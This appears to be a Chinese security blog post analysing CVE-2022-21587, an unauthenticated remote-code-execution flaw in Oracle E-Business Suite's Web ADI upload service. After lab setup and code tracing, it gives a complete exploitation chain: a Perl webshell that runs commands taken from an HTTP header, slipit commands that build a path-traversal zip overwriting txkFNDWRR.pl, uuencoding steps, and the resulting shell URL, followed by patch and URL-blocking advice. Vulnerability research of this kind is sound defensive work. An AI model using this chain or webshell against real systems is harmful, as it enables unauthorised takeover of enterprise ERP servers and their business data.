· Oracle E-Business Suite (Oracle EBS) 被誉为全球领先的 ERP(企业资源规划)解决方案之一。这是一组企业管理应用程序,可以对所有业务领域进行有效管理和自动化:财务会计、服务贸易、生产、供应、材料和货物……
· 在去年 10 月的 Oracle 关键补丁中,该软件在 Upload 组件中存在 2 个 CVSS 9.8 漏洞,属于一个名为 Oracle Web Applications Desktop Integrator 的子应用程序。
· 下面的文章将分析上述2个CVE中的1个。
· Oracle EBS的安装有两种方式,一种是安装各个组件,另一种是导入Oracle Linux操作系统预装的OVA文件。这两种方法都需要从https://edelivery.oracle.com/下载安装文件,总大小约为66GB。
· 因为在安装Oracle产品的时候经历过很多痛苦,所以本文选择了快速导入VM。
· 安装步骤,您可以按照这里的说明进行操作
https://blog.rishoradev.com/2021/04/12/oracle-ebs-r12-on-virtualbox/
· 将下载好的ovf和vmdk 文件导入VM中即可
· 通过Google搜索找到了一些描述Oracle 12.2架构的图
1.概述
架构图
* 结合查看服务器上的进程和网络,了解到几点:
* Oracle EBS的所有组件都位于文件夹中
/u01/install/APPS
* OHS(Oracle HTTP Server,基于httpd)通过8000端口接收来自外部的连接。配置文件位于
/u01/install/APPS/fs1/FMW_Home/webtier/instances/EBS_web_OHS1/config/OHS/EBS_web/
有2个文件httpd.conf和apps.conf包含主要配置。
* 部署在weblogic上的5台服务器只在本地监听其中只有2台服务器是OHS转发的`OACORE`,`FORMS`。这两个服务器的web.xml位置在
/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml
和
/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/WEB-INF/web.xml
2.调试
* ssh 转发端口 weblogic admin about 并登录:ssh [email protected] -L 7001:apps.example.com:7001 | weblogic | welcome1
* 在选项卡中添加调试参数`Configuartion / Server Start`然后保存+活动更改
* 转到选项卡Control,强制关闭并再次启动服务器
* 根据上图可以看出,Oracle EBS是一个非常庞大的应用,由数以万计的JSP文件和数千个类组成。不过整体分解检查还是需要很多时间的,所以先搜索相关的文档资料缩小范围:
* 该应用程序的文档
https://docs.oracle.com/cd/V46499_02/current/acrobat/122bneig.pdf
Oracle Web Applications Desktop Integrator
提到了另一个名称作为WEBADI Servlets和oracle.apps.bne
* OACORE服务器的web.xml文件也有一个名为oracle.apps.bne.integrator.upload.BneUploaderService
* 从oracle.apps.bne开始尝试分析。浏览文件,发现最引人注目的是oracle.apps.bne.framework.BneMultipartRequest。
* doUploadFile该文件中的函数将解码名称中包含该字符串的文件uue,然后将其提供给doUnZip。进入这个函数,发现了一个ZipSlip的漏洞。
* 可以调用Call Hierarchy函数的检查doUploadFileBneAbstractXMLServlet
* 但是这个servlet只有1个abstract class,在web.xml中没有映射。接下来跟踪Method Hierachy以查找doRequest遗留servlet中的方法。
* 上面的所有4个servlet都有url-pattern映射到。每个子类前面的减号表示它们没有覆盖doRequest父类的功能。
* 来自servletBneUnZip.doUnZip()的请求需要满足条件,即函数中的文件变量BneMultipartRequest.doUploadFile()必须有一个包含字符串的名称uue。但是不能任意控制这个变量的任何元素,只有后缀可以通过BneAbstractXMLServlet.getMultipartFileNameSuffix()下面的函数选择2种格式中的一种。
* bne:uueupload必须为文件扩展名设置参数为.uue
* 这里会设置后缀uue
* 接下来,要分析函数doDecode
* 这里有很多代码和base64 decode很像,所以一开始猜测这是Oracle定制的一个单独的encode form。
* 看各子函数中的`shift`,`and`,`xor`数学运算挺头疼的,于是尝试Google搜索,原来这是`uuencoding`(常用来对电子邮件系统中的二进制文件进行编码。老ctfer应该都知道)
1.工具安装
* 在ubuntu上,该工具uuencode通过apt安装sharutils
sudo apt-get install sharutils
* 还需要使用`slipit`创建一个zip,`slipit`需要使用`python pip`进行安装
python3 -m pip install slipit
* 安装好以后在当前用户的下存在执行文件~/.local/bin/slipit,然后通过软连接为可执行命令
ln -s ~/.local/bin/slipit /usr/local/bin/slipit
2.shell生成
* 本以为来的时候只要把jsp shell写到OACORE服务器的webroot下就行了,但是访问shell的时候却被拒绝了
* 也尝试添加一些其他的写文件的方向,比如css、js等静态文件,均被拒绝访问。
* 分析以后极有可能是`Oracle EBS`在某个Filter或Servlet中设置了url的白名单。在web.xml中搜索,确定原因在oracle.apps.fnd.security.WLFilter中
* 从`ver 12.2.7`开始,白名单被保存到数据库中,如果想添加一个新文件,必须在服务器上运行命令或使用管理员的web功能。感觉绕过`WLFilter`还是挺难的,于是转而写到其他服务器的webroot。
* 在FORMS服务器上,webshell运行成功。但是实际测试遇到了几次这个服务被关闭或者被屏蔽的情况,于是继续寻找其他的方法。
* 在OHS的配置中,多了一个Location标签转发给OACORE服务器。
* 所有对OACORE的扩展请求.pl都必须通过weblogic.servlet.CGIServlet
* 调试到这个Servlet中
* 在代码解析用户请求中的query, header, …之后,最后这个servlet会调用命令运行一个固定的perl文件,命名为txkFNDWRR.pl。所以可以覆盖这个文件并将其用作webshell。搜索了一段时间后,能够用perl编写一个 webshell,如下所示:
use CGI;
print CGI::header( -type => 'text/plain' );
my $cmd = CGI::http('HTTP_CMD');
print system($cmd);
exit 0;
* 在当前目录创建txkFNDWRR.pl文件
* 使用slipit生成zip
slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/common/scripts' testzuue.zip txkFNDWRR.pl
* 使用uuencode进行编码
uuencode testzuue.zip test.zip
* 使用burp发包测试
* 访问shell地址/OA_CGI/FNDWRR.exe
* 修复此漏洞的最佳方法是安装来自 Oracle 的补丁。如果无法更新,您可以使用防火墙阻止发送到以下 URL 的请求:
/OA_HTML/BneUploaderService
/OA_HTML/BneViewerXMLService
/OA_HTML/BneDownloadService
/OA_HTML/BneOfflineLOVService
夯实安全责任
共筑网络安全
原文始发于微信公众号(川云安全团队):CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)